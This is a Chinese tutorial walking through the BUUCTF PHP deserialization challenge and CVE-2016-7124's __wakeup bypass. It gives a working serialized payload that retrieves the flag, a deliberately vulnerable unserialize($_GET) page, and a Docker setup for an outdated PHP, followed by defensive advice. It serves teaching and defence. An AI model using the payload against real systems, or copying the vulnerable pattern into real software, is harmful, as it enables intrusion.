从CTF靶场到实战:手把手教你复现PHP反序列化漏洞(CVE-2016-7124绕过__wakeup)

发布时间:2026/6/7 6:30:59

从CTF靶场到实战:手把手教你复现PHP反序列化漏洞(CVE-2016-7124绕过__wakeup) 从CTF靶场到实战深度解析PHP反序列化漏洞与CVE-2016-7124绕过机制在Web安全领域PHP反序列化漏洞一直是攻击者青睐的攻击向量之一。这类漏洞不仅出现在CTF比赛中更在真实世界的Web应用中频繁出现。本文将从一个经典的CTF题目BUUCTF-[极客大挑战 2019]PHP1出发深入剖析PHP反序列化漏洞的核心原理特别是如何利用CVE-2016-7124绕过__wakeup魔术方法的保护机制。1. PHP反序列化漏洞基础PHP反序列化漏洞的本质在于当应用程序接受用户输入的序列化数据并直接进行反序列化操作时攻击者可以构造特定的序列化字符串来触发对象中的魔术方法进而执行恶意代码或改变程序逻辑。1.1 序列化与反序列化原理PHP提供了两个核心函数来处理对象的序列化和反序列化serialize()将对象转换为可存储或传输的字符串表示unserialize()将序列化字符串还原为PHP对象class User { public $username admin; private $password secret; } $user new User(); $serialized serialize($user); // 输出O:4:User:2:{s:8:username;s:5:admin;s:14:Userpassword;s:6:secret;}1.2 关键魔术方法PHP中有几个与序列化相关的魔术方法特别值得关注__construct()对象创建时调用__destruct()对象销毁时调用__wakeup()反序列化完成后立即调用__sleep()序列化前调用这些方法的执行时机为攻击者提供了潜在的攻击面。2. CVE-2016-7124漏洞分析CVE-2016-7124是一个影响特定PHP版本的反序列化漏洞它允许攻击者通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。2.1 漏洞原理在受影响的PHP版本中PHP5 5.6.25PHP7 7.0.10当反序列化字符串中表示对象属性数量的值与实际属性数量不符时__wakeup方法将不会被调用。原始序列化字符串格式O:类名长度:类名:属性数量:{属性}漏洞利用方式 将属性数量修改为大于实际数量的值即可绕过__wakeup2.2 受影响版本PHP版本范围是否受影响PHP5 5.6.25是PHP7 7.0.10是PHP 5.6.25否PHP 7.0.10否注意即使在不受影响的PHP版本上理解这个漏洞的原理仍然对安全研究有重要价值。3. 实战从CTF题目到漏洞利用让我们以BUUCTF-[极客大挑战 2019]PHP1为例详细分析如何利用这个漏洞。3.1 题目代码分析题目关键代码位于class.php中class Name { private $username nonono; private $password yesyes; public function __construct($username, $password) { $this-username $username; $this-password $password; } function __wakeup() { $this-username guest; } function __destruct() { if ($this-password ! 100) { die(NO!!!hacker!!!); } if ($this-username admin) { global $flag; echo $flag; } else { die(hello my friend~~ sorry i cant give you the flag!); } } }3.2 攻击思路要获取flag需要满足两个条件$password必须等于100$username必须等于admin但存在两个障碍__wakeup()方法会将$username重置为guest$username和$password都是private属性序列化时需要特殊处理3.3 构造Payload首先我们创建一个正常的序列化对象$obj new Name(admin, 100); echo serialize($obj); // 输出O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;s:3:100;}然后进行两处修改将属性数量从2改为更大的数字如3以绕过__wakeup正确处理private属性的表示添加%00最终PayloadO:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;s:3:100;}4. 深入理解private/protected属性的序列化PHP对不同类型的属性在序列化时有不同的处理方式4.1 属性类型与序列化表示属性类型序列化前缀示例public无s:2:op;i:2;protected\0*\0s:5:\0*\0op;i:2;private\0类名\0s:17:\0Name\0op;i:2;4.2 URL编码处理由于\0字符在URL中需要特殊处理我们需要将其替换为%00// 原始private属性 s:14:\0Name\0username;s:5:admin; // URL编码后 s:14:%00Name%00username;s:5:admin;提示在构造Payload时长度计算需要考虑%00作为一个字符而不是三个字符。5. 防御措施与最佳实践了解了攻击原理后我们来看如何防御这类漏洞。5.1 安全编码建议避免直接反序列化用户输入这是最根本的解决方案如果必须反序列化用户数据应先进行严格验证使用JSON替代序列化// 不安全 $data unserialize($_GET[data]); // 更安全 $data json_decode($_GET[data], true);更新PHP版本确保使用不受CVE-2016-7124影响的PHP版本5.2 安全检测清单[ ] 检查所有unserialize()调用是否处理了用户输入[ ] 验证PHP版本是否已更新到安全版本[ ] 审查所有包含魔术方法的类特别是__wakeup和__destruct[ ] 考虑使用object_hook参数限制反序列化的类6. 从CTF到真实世界的思考CTF题目往往简化了真实世界的复杂场景但核心原理是相通的。在实际渗透测试中PHP反序列化漏洞可能出现在会话存储某些框架使用序列化存储会话数据缓存系统对象缓存可能使用序列化API通信服务间传输数据可能使用序列化格式配置文件某些应用使用序列化存储配置理解这些场景有助于我们在真实环境中发现和利用类似的漏洞。7. 扩展实验搭建本地测试环境为了更好地理解漏洞建议搭建本地测试环境安装受影响的PHP版本如PHP 5.6.24# 使用Docker快速搭建环境 docker run -it -p 8080:80 --name php5624 php:5.6.24-apache创建漏洞测试页面// vuln.php if (isset($_GET[data])) { $obj unserialize($_GET[data]); }尝试不同的Payload观察行为差异通过亲手实验可以更深入地理解漏洞的触发条件和影响范围。

相关新闻